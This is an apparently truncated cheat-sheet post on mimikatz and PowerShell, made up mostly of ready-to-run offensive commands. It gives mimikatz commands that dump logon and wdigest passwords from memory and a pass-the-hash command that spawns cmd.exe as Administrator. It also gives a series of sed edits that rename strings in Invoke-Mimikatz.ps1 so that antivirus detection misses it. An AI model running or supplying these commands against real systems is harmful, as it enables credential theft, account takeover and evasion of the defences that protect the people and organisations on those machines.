powershell

https://github.com/gentilkiwi/mimikatz https://github.com/clymb3r/PowerShell/tree/master/Invoke-Mimikatz TLDR: 1.\mimikatz "privilege::debug" "sekurlsa::logonpasswords" exit extract passwds 1mimikatz_command -f sekurlsa::logonPasswords full 2mimikatz_command -f sekurlsa::wdigest pass the hash (on the left hand side) 1sekurlsa::pth /user:Administrator /domain:WOSHUB /ntlm:{NTLM_hash} /run:cmd.exe mimidawgz (avoid AV detection) 1mv Invoke-Mimikatz.ps1 Invoke-MimiDawgz.ps1 2 3sed -i -e 's/Invoke-Mimikatz/Invoke-Mimidawgz/g' Invoke-MimiDawgz.ps1 4sed -i -e '/<#/,/#>/c\\' Invoke-MimiDawgz.ps1 5 6sed -i -e 's/^[[:space:]]*#.*$//g' Invoke-MimiDawgz.ps1 7 8sed -i -e 's/DumpCreds/DumpCred/g' Invoke-MimiDawgz.ps1 9 10sed -i -e 's/ArgumentPtr/NotTodayPal/g' Invoke-MimiDawgz.ps1 11 12sed -i -e 's/CallDllMainSC1/ThisIsNotTheStringYouAreLookingFor/g' 13Invoke-MimiDawgz. [Read More]